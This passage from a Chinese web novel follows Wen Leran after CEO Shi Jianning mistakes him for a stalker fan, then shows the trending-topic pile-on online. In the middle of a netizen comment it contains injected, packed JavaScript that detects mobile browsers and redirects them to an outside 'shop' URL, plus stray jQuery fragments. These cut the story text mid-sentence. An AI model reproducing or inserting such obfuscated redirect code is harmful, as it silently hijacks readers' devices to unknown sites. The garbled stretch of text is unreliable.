气氛尴尬得让人窒息。


    施渐宁静静看着温乐然，也不说话。


    可很快有人叫了起来。


    是个精英打扮的靓丽女子，她瞪着温乐然，眼里有些不确定。


    “温……乐然？你是温乐然吧？你也来当私生？还混进工作人员里了！？”


    这名字一被喊破，人群里又是一阵骚动，显然有其他人经过提醒也认出了温乐然。


    对于这么个大小也算明星的人竟然也当私生，更觉得匪夷所思。


    温乐然：我没有！我只是个无辜的工作人员QAQ


    看到温乐然的表情，施渐宁终于微不可察地勾了勾嘴角，往后退了一步放过他，随口问关跃：“人捉住了？”


    关跃眼里的错愕都差点没藏住，听到这话才迅速回神：“应该能捉住，有人在另一边堵她。我听见这边动静不对，所以带人先过来……”


    说着，他不太自在地又看了温乐然一眼。


    温乐然莫名就想到了刚才自己跟施渐宁的姿势。


    然后秒懂关跃的想法。


    ……毁灭吧。


    可惜地球没能毁灭。倒是那认出他的靓丽女子这时已经上前一步，把他往堵在门口的人群前推了推。


    她应该是重鸣机械的相关人员，地位不低，这时态度更是强硬。


    “筹办小组的人呢？你们是怎么回事？把私生粉放进来不说，还能让人混到工作人员里？”


    听到这质问，马上又有人从人群里挤出来。


    是筹办小组的负责人。


    他对着施渐宁连声道歉：“真的很抱歉施总，我们也没想到……”


    说着，却又有些疑惑地看向温乐然。


    人是苏清愉给他介绍的，这几天做事也非常老到，他相信苏清愉不会害他。


    可关跃找到他时，确实是说临时决定来看看的施总好像被私生粉跟踪了，而现在温乐然又确实被抓到了，几分钟前甚至还被施渐宁亲手摁着。


    温乐然百口莫辩：“我不是，我是……”


    以为有人要杀人犯案，被满腔正义驱使来救人罢了：）


    看温乐然突然停住，那女子更不饶人：“还想狡辩？要不是私生，你倒是解释一下，为什么会在这？”


    温乐然这次终于反应过来。


    “不对，我是看到有可疑的人，才一路跟过来。”他想起了什么，把手机拿了出来，“我还有证据，我过来的时候还给同事发了消息。”


    女子一脸不信，其他人也是半信半疑。


    毕竟他们进来时，温乐然跟施渐宁明显刚动过手，施渐宁摁着他时也是下了狠力的。


    “你都混进工作人员里了，提前发个消息给自己留后路，也不是不可能。”


    “对啊。何况你一个当明星的，好端端干嘛跑这来当工作人员？”


    那负责人早就凑了上前，看到温乐然给安保团队的消息还松了口气，听到这些话，又不禁蹙了眉。


    犹豫片刻，他终于还是道：“不管怎样，他确实是我们团队的统筹助理。应该是碰巧撞见了那私生粉，才会跟过来，这其中……”


    他本想说也许有什么误会，但转念一想，这就等于是在质疑施渐宁，又默默把话吞回去。


    没想到有人替他说了。


    “那大概是误会了。”是施渐宁。


    男人漫不经心地往会议桌上一坐，煞有其事地点点头：“我想了想，他刚进来时，好像确实是要帮我的，对吧？”


    最后一句问的自然是温乐然。


    温乐然当然很清楚当时的情况，但对上施渐宁似笑非笑的眼，还是干脆地顺着他的话编：“都怪我当时没来得及说清楚，是我的错。抱歉，施总。”


    施渐宁目光在他身上停留了一会：“既然是误会，就没必要追究了，都散了吧。”


    众人面面相觑。


    最后还是关跃反应最快，对那女子道：“事情弄清楚就好。陈主管，要不还是先去看看那个跟踪施总的私生？”


    “您说得对。”那女子听了这话，也是神色一正，没再深究，回头又去招呼筹办小组的负责人。


    负责人也反应过来了，连忙打听，确认那私生粉已经被捉住，才暗自松了口气，又客客气气地跟施渐宁再次道歉，很快就招呼着其他人离开会议室。


    温乐然也默默地跟在人群最后想走，快到门口时却听施渐宁叫了声。


    “温乐然。”


    温乐然心里一跳，只好停步。


    还没走远的人也听见了，好几个偷偷回头往他的方向看，眼里都多少露出了点了然。


    温乐然不用猜就知道他们在想什么。


    然而始作俑者却像是毫无察觉，走到他身旁，问：“你刚最后喊了句什么来着？”


    温乐然：……


    ——别杀我！


    他不信施渐宁是真的没听见。


    他要是就这么回答，施渐宁怕是要真嘎了他。


    温乐然只犹豫了一秒，果断低头：“施总，对不起，我错了。”


    施渐宁意味不明地笑了声。


    直到温乐然的心都提到嗓子眼了，才听他开口：“下次做事前想清楚了，要是再被人当成私生……”


    他的话没说尽，余音里却透着点莫名的凉意。


    温乐然右眼皮一跳，笑得越发乖巧安分：“绝对不会，施总放心！”


    施渐宁盯了他一会，终于扬了扬下巴，给予放行。


    温乐然便兔子似的蹿了出去。


    施渐宁看着他的背影，半晌才对留下的关跃说：“你这信息收集，不太行。”


    关跃也有些汗颜：“是我的失误。”


    施渐宁：“还有一个失误。”


    关跃怔住：“先生是指……”


    施渐宁却没马上回答，只是关上门重新坐回去，问：“之前让你处理他解约的事，进展得怎样了？”


    关跃迅速进入状态：“已经跟悦乐文化那边打过招呼了，经纪人也定了。”


    “让他们尽快吧。刚有人拍照了。”


    关跃一惊，马上就意识到施渐宁说的还有一个失误是什么了。


    “抱歉，我这就去处理。”


    施渐宁勾了勾唇，也没多说，只是懒懒地摸出手机。


    果然，就这么一会，热搜已经上了。


    ·


    温乐然直到晚上工作收尾，被知情的同事提醒，才知道自己上了热搜。


    #温乐然施渐宁私生粉#


    话题里，置顶就是一组九宫格照片。正是施渐宁把温乐然摁在桌子上，拽下口罩的一幕。


    评论里一开始全是问号。


    【温乐然？这谁？】


    【私生又作妖？真是离大谱。施总都退圈三年了！你们能不能醒醒！】


    【温乐然是私生的名字吗？有谁认识？拉出来遛遛。】


    【该说不说，照片里的小哥哥长得挺乖，与其当私生，不如考虑下直接出道？】


    【说实话，我甚至觉得施总压着他的样子，有点……嘶哈。】


    【对对我也觉得！能配得上施总这颜值的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152455|138465||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人不多啊。】


    这个发散一下子就激怒了施渐宁的粉丝。


    【望周知，我宁哥前几天才刚官宣。某些人要点脸好吗？】


    【什么玩意，私生都有人嗑？！】


    【可是，不觉得很有CP感吗。】


    【施总那是不是官宣还不好说呢。退一万步讲，有没有一种可能，这就是他对象？（狗头）】


    眼看就要吵起来了，却又有人横插了一脚。


    【说温乐然是施总对象的别笑死我了好吗？这玩意也配？】


    【你们都不认识温乐然吗？也对，毕竟是个糊咖。】


    【果然网络没有记忆。你们都忘了吗？三年前，选秀假唱！】


    【卧槽，我想起来了！是假唱小王子啊。】


    【什么瓜？】


    【没什么瓜，这人好像一开始是个平面模特吧，长得不错就被选秀节目找去了，当初人气可高了，前面几轮投票都是断层第一，脑残粉都各种吹他是天降紫微星肯定C位出道。结果后来被爆出在舞台上都是假唱，还逼着队友陪他半开麦，秒塌。再后来好像还有不少别的黑料，我没关注了。】


    【来来，请看大屏幕。[长图解说]】


    温乐然看着那长图片上的黑料总结，一时间都觉得有些陌生。


    当初假唱风波闹出来后，确实有很长一段时间，这些所谓的黑料被到处流传。


    但之后没多久，他就在选秀里被淘汰，谈好的合作代言也都迅速掉个干净，之后三年，更是连正经通告都没几个。


    没有露脸机会，粉丝都留不住，更不可能有黑粉继续费心思传播他的黑料。


    没想到这热搜挑起了某些人的记忆，倒是又被翻了出来。


    看过黑料科普，吃瓜路人反而更疑惑了。


    【所以，这糊咖是打算蹭施总的热度，想翻红？】


    【这照片看，他就是私生吧？啊啊，我说私生能不能都去亖啊！】


    【小道消息，据说当时施总临时决定去参加某大会的结束晚宴，不知怎么被私生盯上，一直跟到休息室。这人是私生的同伙，直接混成了工作人员，结果打配合的时候被施总摁住了。】


    【卧槽，这也太恶心了。】


    温乐然看到这，终于皱起了眉头。


    当时关跃赶来，他也隐约察觉到好像是有人在拍照。只是当时太混乱，又尴尬，他后来也就忽略了。


    没想到会闹上热搜。


    热度这时其实已经降了不少，只是事关施渐宁，又涉及私生粉这种人人喊打的话题，导致词条挂在热搜尾巴上，迟迟没能下去。


    黑料也好，被当成私生粉也好，都不是什么大事。


    麻烦的，是这个小道消息。


    温乐然又看了一眼那条爆料，心里便升起了一抹不安。


    他挣扎片刻，给关跃发了个消息。


    [要快乐鸭]：关助理，那个热搜……有没有可能撤掉？


    这次关跃倒是回复得很快。


    [我是关助]：抱歉，温先生，我会尽快处理好的。


    看来施渐宁那边已经有所行动。


    重鸣这种大集团，必然掌握着不少媒体资源，这种热搜，撤掉应该是分分钟的事。


    温乐然微微松了口气，这才收拾好自己的东西回家。


    然而直到他回到家，猫都喂好了，热搜还在。


    温乐然抱着手机又刷了一会热搜，正准备给关跃打个电话，手机却先响了。


    是他的经纪人。


    该来的还是来了。